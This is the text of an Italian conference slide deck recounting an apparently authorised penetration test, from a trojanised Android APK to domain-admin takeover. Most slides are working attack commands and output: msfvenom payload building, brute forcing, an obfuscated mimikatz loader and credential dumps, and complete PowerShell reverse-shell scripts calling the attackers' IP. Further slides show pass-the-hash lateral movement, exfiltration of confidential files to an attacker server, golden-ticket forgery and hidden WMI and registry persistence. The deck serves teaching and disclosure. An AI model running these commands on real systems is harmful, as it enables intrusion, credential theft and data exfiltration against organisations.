SlideShare a Scribd company logo
Da APK al Golden Ticket
Storia di un penetration test
Andrea Pierini, Giuseppe Trotta
Chi siamo
➔ Andrea Pierini: IT Architect & Security Manager, con la passione del
pentesting - il vecchio saggio
➔ Giuseppe Trotta: Penetration tester - il figliol prodigo
Warning
DISCLAIMER
➔ Background
➔ Da APK a shell sul server WSUS
➔ Lateral Movement(s) & Exploitation
➔ Exfiltration
➔ Golden Ticket
➔ Persistenza
Agenda
Storia di un pentest
Partendo da una campagna di phishing, dopo aver effettuato spear phishing
sulla segretaria e sul suo smartphone, ci siamo intrufolati nella rete
aziendale e, attraverso “movimenti laterali” e “privilege escalation”, siamo
diventati amministratori del dominio, abbiamo sottratto file sensibili e attuato
tecniche di persistence
Perché raccontarla?
Keep it simple, stupid
Going NativeGoing Native ...
https://www.flickr.com/photos/tkmckamy/4521015190
Background
➔ Vulnerability Assessment & Penetration Test Black Box
➔ Social engineering consentito
➔ “Rubare” informazioni riservate
Background
➔ Durante i colloqui preliminari, abbiamo chiesto
accesso al Wi-Fi “GUEST”.
➔ Credenziali valide per 1 giorno
➔ Tanti dispositivi collegati … i dipendenti?
Phishing campaign
➔ Buona la prima? No, ma la segretaria … ¯_(ツ)_/¯
➔ … il suo smartphone e la figlia ...
Phishing campaign
$ msfvenom -x puzzle.apk 
-p android/meterpreter/reverse_tcp 
LHOST=<IL_NOSTRO_IP> LPORT=443 -o /var/www/html/puzzle.apk
Phishing campaign
Il mattino seguente...
[*] Meterpreter session 3 opened (█████:443 -> █████:51990)
meterpreter> ipconfig
…
Interface 9
============
Name : wlan0 - wlan0
Hardware MAC : 20:6e:9c:75:94:ba
IPv4 Address : 10.18.112.46
IPv4 Netmask : 255.255.255.0
…
meterpreter> shell
Process 1 created.Channel 1 created.
getprop net.dns1
192.168.178.196
Network discovery
➔ Scan via ProxyChains
exploit(handler) > route add 192.168.178.0 255.255.255.0 3
exploit(handler) > use auxiliary/server/socks4a
…
# proxychains nmap -sn 192.168.178.0/24
Nmap scan report for 192.168.178.195
Host is up (0.15s latency).
Nmap scan report for 192.168.178.196
Host is up (0.22s latency).
…
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 192.168.178.195,196
…
[*] 192.168.178.195: - 192.168.178.195:80 - TCP OPEN
[*] 192.168.178.195: - 192.168.178.195:8080 - TCP OPEN
…
[*] 192.168.178.196: - 192.168.178.196:53 - TCP OPEN
…
Schema di rete ipotizzato...
Il server intranet
➔ Portforwarding
➔ Apache basic-auth bruteforce
meterpreter>portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80
meterpreter>portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080
# hydra 127.0.0.1 -s 8002 -L users.txt -P pass.txt -t12 http-get /
…
[DATA] max 12 tasks per 1 server, overall 64 tasks, 11000 login tries
(l:11/p:1000), ~14 tries per task
[DATA] attacking service http-get on port 8080
…
[8080][http-get] host: 127.0.0.1 login: admin password:
password123456
1 of 1 target successfully completed, 1 valid password found
Caro Tomcat…
➔ Upload file WAR file (Web-application ARchive):
◆ cmd.jsp
◆ Mimikatz (PS) “offuscato”
`Obf`u`s`c""a'tio'"$([char]0x6E)"
➔ Meccanismi di detection molto scarsi
➔ Match di stringhe/comandi
➔ Linguaggio flessibile
➔ RTFM funziona sempre…
➔ Invoke-Obfuscation by Daniel Bohannon
^must read
`Obf`u`s`c""a'tio'"$([char]0x6E)"
➔ mimigatto.ps1
Invoke-mimikatz → ChiamaIlGatto
DumpCreds → PrendiCroccantini
Get-Win32Types → CheTipo32
CallDllMainSc1 → MaChiChiami
Win32Functions → IOSFunctions
…
➔ Download malware
Invoke-Expression(New-Object System.Net.WebClient).DownloadString("https://bit.ly/Ev1l")
↓
`I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/Ev1l)
Dovevamo far presto…
Command: cmd /c set
ALLUSERSPROFILE=C:ProgramData
...
COMPUTERNAME=SRVINTRANET
...
USERDOMAIN=SUPERCOMPANY
USERNAME=SRVINTRANET$
Command: cmd /c systeminfo
Host Name: SRVINTRANET
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
…
System Manufacturer: VMware, Inc.
…
Dovevamo far presto…
Command: cmd /c nltest /dclist:supercompany
Get list of DCs in domain 'supercompany' from 'SRVDC1'.
srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name
srvdc2.supercompany.local [DS]Site: Default-First-Site-Name
...
The command completed successfully
Command: cmd /c dir "c:program files (x86)"
Volume in drive C has no label.
Volume Serial Number is C050-5A8D
Directory of c:program files (x86)
02/25/2017 08:59 AM <DIR> .
02/25/2017 08:59 AM <DIR> ..
...
02/25/2017 08:59 AM <DIR> Symantec
...
➔ Dalla webshell avevamo provato a lanciare una Reverse Shell (PS)
➔ Nulla di fatto!
➔ Evidentemente SRVINTRANET non aveva accesso a internet
Reverse shell #1
Command: cmd /c powershell -nop -c
"$client=New-Object System.Net.Sockets.TCPClient('IL_NOSTRO_IP',443);
$stream=$client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback+'PS '+(pwd).Path + '> ';
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};$client.Close()"
Piano B: reperire le credenziali
➔ Mimigatto, PrendiCroccantini!
Command: cmd /c powershell -nop -exec bypass -command "import-module
c:tomcatwebappscmdwarfilesmimigatto.ps1;
ChiamaIlGatto -PrendiCroccantini"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## /  ## /* * *
##  / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
...
[00000003] Primary
* Username : Administrator
* Domain : SRVINTRANET
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
...
Piano C: No admin logged-in? No problem!
➔ Con i privilegi di SYSTEM era facile reperire gli hash di local Administrator
Command: cmd /c powershell -nop -exec bypass -command "import-module
c:tomcatwebappscmdwarfilesmimigatto.ps1;
ChiamaIlGatto -command '"lsadump::lsa /name:administrator /inject"'"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## /  ## /* * *
##  / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # lsadump::lsa /name:administrator /inject
Domain : SRV2012 / S-1-5-21-938204560-2839928776-2225904511
RID : 000001f4 (500)
User : administrator
* Primary
LM :
NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
Lateral Movement(s) & Exploitation
Lateral Reconnaissance: alla ricerca di internet
➔ Possibili bersagli: SRVWSUS e SRVAV
◆ Uno di loro doveva uscire su Internet
➔ E poi quel SRVFILE1 …
Command: cmd /c net view
Server Name Remark
-------------------------------------------------
SRVDC1 Domain controller PDC
SRVDC2 Domain Controller
SRVWSUS Server WSUS
SRVAV Server AV
SRVFILE1 File Server
...
Lateral Movement: SRVWSUS
➔ SRVWSUS accede ad Internet?
➔ Le hash catturate valgono su SRVWSUS?
➔ Pass-the-Hash con PS, si può?
◆ SMBExec.ps1
◆ WMIExec.ps1
https://github.com/Kevin-Robertson/Invoke-TheHash
Lateral Movement: SRVWSUS
➔ Intanto sul nostro web server:
$ cat r1.ps1
function Invoke-r1
{
$client = New-Object Net.Sockets.TCPClient('NOSTRO_IP',443)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
Lateral Movement: SRVWSUS
➔ Tramite Tomcat manager: upload di SMBExec.ps1 con l’autorun in coda:
…
Invoke-SMBExec -Target <SRVWSUS_IP> -Username Administrator -Hash
604603ab105adc8XXXXXXXXXXXXXXXXX
-Command "powershell `"IEX(New-Object
Net.WebClient).DownloadString(`'http://NOSTRO_IP/r1.ps1`'); Invoke-r1`""
➔ Sulla nostra macchina: nc -lvp 443
➔ Dalla webshell:
Command: cmd /c powershell -nop -exec bypass -f
c:tomcatwebappscmdwarfilessmbexec.ps1
SRVWSUS: Finalmente una shell “decente”
# nc -lvvp 443
connect to <NOSTRO_IP> from <COMPANY_PUBLIC_IP>
50341
PS C:Windowssystem32> whoami
nt authoritysystem
Bye bye Android
SRVWSUS: Alla ricerca di nuove credenziali
➔ E chi era questo utente di dominio “adm.arazzi”?
PS C:tmp>iex (New-Object Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1');
ChiamaIlGatto -PrendiCroccantini
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 749566 (00000000:000b6ffe)
Session : Interactive from 2
User Name : adm.arazzi
Domain : SUPERCOMPANY
Logon Server : SRVDC1
Logon Time : 9/11/2016 10:23:28 AM
SID : S-1-5-21-3534665177-2148510708-2241433719-1001
msv :
[00000003] Primary
* Username : adm.arazzi
* Domain : SUPERCOMPANY
* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX
* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
➔ Un target interessante? Farà parte dei Domain Administrators?
➔ Come verificarlo?
➔ Pass-the-Hash con Mimikatz!
SRVWSUS: adm.arazzi
SRVWSUS: adm.arazzi
PS c:tmp>cmd /c echo net user adm.arazzi /domain ^>
c:tmpwhoisarazzi.txt > whoisarazzi.bat
PS c:tmp>iex(New-Object
Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1');
ChiamaIlGatto -command '"sekurlsa::pth /user:adm.arazzi
/domain:supercompany /ntlm:446687c38d831f4XXXXXXXXXXXXXXXXX
/run:c:tmpwhoisarazzi.bat"'
SRVWSUS: adm.arazzi
PS c:tmp>type whoisarazzi.txt
The request will be processed at a domain controller for domain supercompany.local.
User name adm.arazzi
Full Name antonio razzi
Comment :-)
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
(..)
Local Group Memberships *Administrators
Global Group memberships *Group Policy Creator *Domain Users
*Domain Admins *Schema Admins
*Enterprise Admins
Lateral Movement: SRVFILE1
➔ SRVWSUS diventa il pivot per accedere al FileServer:
➔ Su SRVWSUS download di una nuova reverse shell (attenzione all'IP!)
PS c:tmp>netsh interface portproxy add v4tov4 listenport=8888
listenaddress=0.0.0.0 connectport=443 connectaddress=NOSTRO_IP
PS c:tmp>IEX(New-Object
Net.WebClient).DownloadFile('http://NOSTRO_IP/r2.ps1','c:tmpr2.ps1')
$ cat r2.ps1
...
$client = New-Object
System.Net.Sockets.TCPClient('<SRVWSUS_IP>',8888)
..
Lateral Movement: SRVFILE1
➔ Download & Exec di HTTP.ps1, un mini server HTTP
PS c:tmp>type http.ps1
# http.ps1
start-job { # will execute in bg
$p="c:tmp"
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8001/")
$H.Start()
...
PS c:tmp>IEX(New-Object
Net.WebClient).DownloadFile('http://NOSTRO_IP/http.ps1','c:tmphttp.ps1'); .http.ps1
Id Job ...
-- ---
6 Job6 ...
Lateral Movement: SRVFILE1
➔ Alternativa a SMBExec? WMIExec!
➔ Auto-invoke alla fine, ovviamente
PS c:tmp> IEX (New-Object
Net.WebClient).DownloadFile('http://NOSTRO_IP/wmiexec.ps1','c:tmpwmiexec.ps1')
Invoke-WMIExec -Target SRVFILE1_IP -Domain SUPERCOMPANY -Username adm.razzi -Hash
446687c38d831f4XXXXXXXXXXXXXXXXX
-Command "powershell `"IEX (New-Object
Net.WebClient).DownloadString(`'http://SRVWSUS_IP:80001/r2.ps1`'); Invoke-r2`""
Lateral Movement: SRVFILE1
➔ Tutto pronto ..
Lateral Movement: SRVFILE1
➔ Sulla nostra macchina: nc -lvp 443
➔ Su SRVWSUS:
PS C:tmp> .wmiexec.ps1
Command executed with process ID 4756 on SRVFILE1_IP
Lateral Movement: SRVFILE1
➔ Et voilà! # nc -lvp 443
connect to NOSTRO_IP from <COMPANY_PUBLIC_IP> 49190
PS C:Windowssystem32> whoami
supercompanyadm.arazzi
Checkpoint: situazione shell
➔ 2 reverse shell in PowerShell:
◆ Su SRVWSUS siamo SYSTEM
◆ Su SRVFILE1 via SRVWSUS siamo Domain Administrator!!
➔ Grazie alla shell su SRVFILE1 i dati sensibili ci stavano aspettando:
➔ Come fare exfiltration?
➔ Tentativo #1: Exfiltration via FTP Fallito
Exfiltration
Directory: F:FinanzaRiservato
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/24/2016 2:20 AM 164468 Supersecret.docx
-a--- 5/29/2016 6:41 PM 12288 Bilancio.xlsx
…
Exfiltration
➔ Ricordate KISS? Upload via HTTP sul nostro server?
➔ Per il client? Upload.ps1
http://blog.majcica.com/2016/01/13/powershell-tips-and-tricks-multipartform-data-requests/
<?php
// index.php
$fname = @$_FILES['fname']['name'];
$fname_loc = @$_FILES['fname']['tmp_name'];
echo (@move_uploaded_file($fname_loc,$fname))?"DONE":"ERROR";
Exfiltration
➔ A questo punto occorreva un nuovo portforward su SRVWSUS
➔ Download upload.ps1 su SRVFILE1 via SRVWSUS
# [SRVFILE1 <-> SRVWSUS:8889 <-> ATTACKER:80]
interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80
connectaddress=NOSTRO_WEB_SERVER
PS C:tmp> (New-Object
Net.WebClient).DownloadFile('http://SRVWSUS:8889/upload.ps1','c:tmpupload.ps1')
Exfiltration architecture
➔ Dal FileServer
Finalmente upload!
PS C:tmp> . .upload.ps1
PS C:tmp> invoke-upload -infile
f:finanzariservatoSupersecret.docx -uri http://SRVWSUS:8889/
content:System.Net.Http.StreamContent
DONE
PS C:tmp> invoke-upload -infile
f:finanzariservatobilancio.xlsx -uri http://SRVWSUS:8889/
content:System.Net.Http.StreamContent
DONE
Alternativa? PMFU!
➔ PMFU == Poor Man File Upload == niente fronzoli, minimal
➔ Sulla nostra macchina:
PS C:tmp>$c=New-Object System.Net.Sockets.TCPClient('SRVWSUS_IP',8889);
$s=[System.IO.File]::ReadAllBytes("f:finanzariservatosupersecret.docx");
$st=$c.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close()
# nc -lp 80 > supersecret.docx
File grandi?!
$src= "f:finanzariservato"
$dst= "c:tmpfiles.zip"
[Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem")
[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,
[System.IO.Compression.CompressionLevel]::Optimal,$true)
Breaking Bad
Fear the Golden Ticket attack*
➔ Il “Golden Ticket” è un ticket Kerberos (TGT)
creato offline in modo tale da garantire
l’accesso fraudolento ad un dominio AD,
impersonando qualsiasi utente (anche il
Domain Admin), e valido anche per 10 anni!
➔ Funziona anche se la vittima cambia la sua
password
➔ Come è possibile?
◆ Il ticket e i dati autorizzativi sono firmati con gli hash
dell’account “krbtgt”
* by Benjamin DEPLY - mimikatz
Golden Ticket? DIY!
➔ PRE: nuovo portforwarding su SRVWSUS, smbexec.ps1, upload
mimigatto.ps1, etc... per ottenere shell come SYSTEM sul domain controller
➔ Export hash di krbtgt con mimikatz e preso il SID del dominio:
PS C:windowstemp>ChiamaIlGatto -command '"privilege::debug” "LSADump::LSA /name:krbtgt
/inject"' > hash.txt
PS C:windowstemp>type hash.txt
Domain : SUPERCOMPANY / S-1-5-21-3534665177-2148510708-2241433719
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 3003567af268a4a94e26f410e84353f1
...
aes256_hmac (4096) :
9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155
aes128_hmac (4096) : 46be43e81ca521d647f332bd4e1b7897
des_cbc_md5 (4096) : d5ade3405ea183ce
Golden Ticket? DIY!
➔ E poi ... comodamente offline!
mimikatz# kerberos::golden /admin:Administrator
/domain:supercompany.LOCAL
/sid:S-1-5-21-3534665177-2148510708-2241433719
/aes256:9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155
/ticket:admin.krb
➔ Da SRVWSUS: shell Local SYSTEM
➔ Download admin.krb (ticket kerberos)
➔ Pass-The-Ticket!
Golden Ticket in action!
mimikatz(powershell) # kerberos::ptt admin.krb
* File: 'admin.krb': OK
PS C:tmp> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ supercompany.LOCAL
Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL
Golden Ticket in action!
# nc -lvp 443
…
PS C:Windowssystem32> whoami
supercompanyadministrator
PS C:tmp> copy c:tmpr3.ps1 SRVDC1C$windowstempr3.ps1
PS C:tmp> wmic /authority:"kerberos:SUPERCOMPANYSRVDC1"
/node:SRVDC1 process call create "powershell -exec bypass
-windowstyle hidden -f c:windowstempr3.ps1"
Executing (Win32_Process)->Create()
Method execution successful.
...
Long time persistence
Persistenza
Persistenza
➔ Windows Management Instrumentation (WMI), un posto meno “scontato” dove
aggiungere persistenza, sfruttando l’evento InstanceModificationEvent
PS> $filterName = "JustForTestFilter"
PS> $consumerName = "JustForTestConsumer"
PS> $exePath = "C:windowshelpwindowsindexstorer.bat"
PS> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300"
PS> $WMIEventFilter=Set-WmiInstance -Class __EventFilter
-NameSpace "rootsubscription"
-Arguments
@{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";
Query=$Query} -ErrorAction Stop
PS> $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer
-Namespace "rootsubscription" -Arguments
@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath
}
PS> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace
"rootsubscription"
-Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
Persistenza
➔ E la PS shell? Cosa fare nel caso di una caduta?
➔ No problem, ci si rialza!
PS C:windowshelpwindowsindexstore>type r.bat
@echo off
:loop
powershell -nop -executionpolicy bypass -windowstyle
hidden -f C:windowshelpwindowsindexstorer.ps1
timeout /t 30
goto loop
Persistenza
➔ Bonus trick: “autoruns” non se ne accorge!
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]
"Stealth"="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:windowshelpwindowsindexstorer.bat""
https://gist.githubusercontent.com/hasherezade/e3b5682fee27500c5dabf5343f447de3
Tecniche e soluzioni “alternative”
➔ Reverse shell attraverso un Proxy?
➔ Basta aggiungere le configurazioni relative al Proxy/Credenziali nella nostra
reverse shell
S C:windowsind
$rhost="X.X.X.X"
$rport="80"
$uri = "http://" + $rhost + ":" + $rport
$proxy = [System.Net.WebRequest]::DefaultWebProxy
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$Request = [System.Net.HttpWebRequest]::Create("http://" + $rhost + ":" + $rport)
$Request.Method = "CONNECT"
$Request.Proxy = $Proxy
$resp = $Request.getResponse()
$respstream = $resp.GetResponseStream()
$bflags = [Reflection.BindingFlags] "NonPublic,Instance"
$rstype = $respstream.GetType()
$connprop = $rstype.GetProperty("Connection", $bflags)
$connection = $connprop.GetValue($respstream, $null)
$conntype = $connection.GetType()
...
Tecniche e soluzioni “alternative”
➔ “Multi-Netcat” reverse shell listener
◆ https://github.com/nemanjan00/reverse-shell-listenerS C:windowsind
Grazie ai revisori dell’articolo originale ...
.. a Mario e tutto lo staff di HackInBo
Un saluto agli amici dello
“Snado Team”!!
PS>.installSNADO.ps1 -permanent
Andrea <decoder.ap@gmail.com>, <@decoder_it>
Giuseppe <giutrotta@gmail.com>, <@giutro>

More Related Content

What's hot

Django cryptography
Django cryptographyDjango cryptography
Django cryptography
Erik LaBianca
 
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NoSuchCon
 
9 password security
9   password security9   password security
9 password security
drewz lin
 
Apache httpd reverse proxy and Tomcat
Apache httpd reverse proxy and TomcatApache httpd reverse proxy and Tomcat
Apache httpd reverse proxy and Tomcat
Jean-Frederic Clere
 
Summer of Fuzz: macOS
Summer of Fuzz: macOSSummer of Fuzz: macOS
Summer of Fuzz: macOS
Jeremy Brown
 
Defeating The Network Security Infrastructure V1.0
Defeating The Network Security Infrastructure  V1.0Defeating The Network Security Infrastructure  V1.0
Defeating The Network Security Infrastructure V1.0
Philippe Bogaerts
 
Kamailio - SIP Firewall for Carrier Grade Traffic
Kamailio - SIP Firewall for Carrier Grade TrafficKamailio - SIP Firewall for Carrier Grade Traffic
Kamailio - SIP Firewall for Carrier Grade Traffic
Daniel-Constantin Mierla
 
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - TrivadisTechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
Trivadis
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
Simon Su
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
Javan Rasokat
 
Tatu: ssh as a service
Tatu: ssh as a serviceTatu: ssh as a service
Tatu: ssh as a service
Pino deCandia
 
Kubernetes networking - basics
Kubernetes networking - basicsKubernetes networking - basics
Kubernetes networking - basics
Juraj Hantak
 
Getting started with RDO Havana
Getting started with RDO HavanaGetting started with RDO Havana
Getting started with RDO Havana
Dan Radez
 
Fail2ban - the system security for green hand -on linux os
Fail2ban  - the system security  for green hand -on linux osFail2ban  - the system security  for green hand -on linux os
Fail2ban - the system security for green hand -on linux os
Samina Fu (Shan Jung Fu)
 
Apache httpd 2.4 Reverse Proxy
Apache httpd 2.4 Reverse ProxyApache httpd 2.4 Reverse Proxy
Apache httpd 2.4 Reverse Proxy
Jim Jagielski
 
Python Cryptography & Security
Python Cryptography & SecurityPython Cryptography & Security
Python Cryptography & Security
Jose Manuel Ortega Candel
 
Importance of sshfp and configuring sshfp for network devices
Importance of sshfp and configuring sshfp for network devicesImportance of sshfp and configuring sshfp for network devices
Importance of sshfp and configuring sshfp for network devices
Muhammad Moinur Rahman
 
Importance of SSHFP for Network Devices
Importance of SSHFP for Network DevicesImportance of SSHFP for Network Devices
Importance of SSHFP for Network Devices
APNIC
 
Malware Detection with OSSEC HIDS - OSSECCON 2014
Malware Detection with OSSEC HIDS - OSSECCON 2014Malware Detection with OSSEC HIDS - OSSECCON 2014
Malware Detection with OSSEC HIDS - OSSECCON 2014
Santiago Bassett
 
Functional Operations (Functional Programming at Comcast Labs Connect)
Functional Operations (Functional Programming at Comcast Labs Connect)Functional Operations (Functional Programming at Comcast Labs Connect)
Functional Operations (Functional Programming at Comcast Labs Connect)
Susan Potter
 

What's hot (20)

Django cryptography
Django cryptographyDjango cryptography
Django cryptography
 
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
 
9 password security
9   password security9   password security
9 password security
 
Apache httpd reverse proxy and Tomcat
Apache httpd reverse proxy and TomcatApache httpd reverse proxy and Tomcat
Apache httpd reverse proxy and Tomcat
 
Summer of Fuzz: macOS
Summer of Fuzz: macOSSummer of Fuzz: macOS
Summer of Fuzz: macOS
 
Defeating The Network Security Infrastructure V1.0
Defeating The Network Security Infrastructure  V1.0Defeating The Network Security Infrastructure  V1.0
Defeating The Network Security Infrastructure V1.0
 
Kamailio - SIP Firewall for Carrier Grade Traffic
Kamailio - SIP Firewall for Carrier Grade TrafficKamailio - SIP Firewall for Carrier Grade Traffic
Kamailio - SIP Firewall for Carrier Grade Traffic
 
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - TrivadisTechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
 
Tatu: ssh as a service
Tatu: ssh as a serviceTatu: ssh as a service
Tatu: ssh as a service
 
Kubernetes networking - basics
Kubernetes networking - basicsKubernetes networking - basics
Kubernetes networking - basics
 
Getting started with RDO Havana
Getting started with RDO HavanaGetting started with RDO Havana
Getting started with RDO Havana
 
Fail2ban - the system security for green hand -on linux os
Fail2ban  - the system security  for green hand -on linux osFail2ban  - the system security  for green hand -on linux os
Fail2ban - the system security for green hand -on linux os
 
Apache httpd 2.4 Reverse Proxy
Apache httpd 2.4 Reverse ProxyApache httpd 2.4 Reverse Proxy
Apache httpd 2.4 Reverse Proxy
 
Python Cryptography & Security
Python Cryptography & SecurityPython Cryptography & Security
Python Cryptography & Security
 
Importance of sshfp and configuring sshfp for network devices
Importance of sshfp and configuring sshfp for network devicesImportance of sshfp and configuring sshfp for network devices
Importance of sshfp and configuring sshfp for network devices
 
Importance of SSHFP for Network Devices
Importance of SSHFP for Network DevicesImportance of SSHFP for Network Devices
Importance of SSHFP for Network Devices
 
Malware Detection with OSSEC HIDS - OSSECCON 2014
Malware Detection with OSSEC HIDS - OSSECCON 2014Malware Detection with OSSEC HIDS - OSSECCON 2014
Malware Detection with OSSEC HIDS - OSSECCON 2014
 
Functional Operations (Functional Programming at Comcast Labs Connect)
Functional Operations (Functional Programming at Comcast Labs Connect)Functional Operations (Functional Programming at Comcast Labs Connect)
Functional Operations (Functional Programming at Comcast Labs Connect)
 

Similar to Da APK al Golden Ticket

dotCloud and go
dotCloud and godotCloud and go
dotCloud and go
Flavio Poletti
 
Red Hat Forum Tokyo - OpenStack Architecture
Red Hat Forum Tokyo - OpenStack ArchitectureRed Hat Forum Tokyo - OpenStack Architecture
Red Hat Forum Tokyo - OpenStack Architecture
Dan Radez
 
Swift Install Workshop - OpenStack Conference Spring 2012
Swift Install Workshop - OpenStack Conference Spring 2012Swift Install Workshop - OpenStack Conference Spring 2012
Swift Install Workshop - OpenStack Conference Spring 2012
Joe Arnold
 
Pycon - Python for ethical hackers
Pycon - Python for ethical hackers Pycon - Python for ethical hackers
Pycon - Python for ethical hackers
Mohammad Reza Kamalifard
 
Openstack 101
Openstack 101Openstack 101
Openstack 101
POSSCON
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
Cyber Security Alliance
 
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
raccoony
 
NetDevOps Developer Environments with Vagrant @ SCALE16x
NetDevOps Developer Environments with Vagrant @ SCALE16xNetDevOps Developer Environments with Vagrant @ SCALE16x
NetDevOps Developer Environments with Vagrant @ SCALE16x
Hank Preston
 
Deploying Percona XtraDB Cluster in Openshift
Deploying Percona XtraDB Cluster in OpenshiftDeploying Percona XtraDB Cluster in Openshift
Deploying Percona XtraDB Cluster in Openshift
Alexander Rubin
 
Puppet Camp 2012
Puppet Camp 2012Puppet Camp 2012
Puppet Camp 2012
Server Density
 
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
Wesley Beary
 
R-House (LSRC)
R-House (LSRC)R-House (LSRC)
R-House (LSRC)
Fernand Galiana
 
fog or: How I Learned to Stop Worrying and Love the Cloud
fog or: How I Learned to Stop Worrying and Love the Cloudfog or: How I Learned to Stop Worrying and Love the Cloud
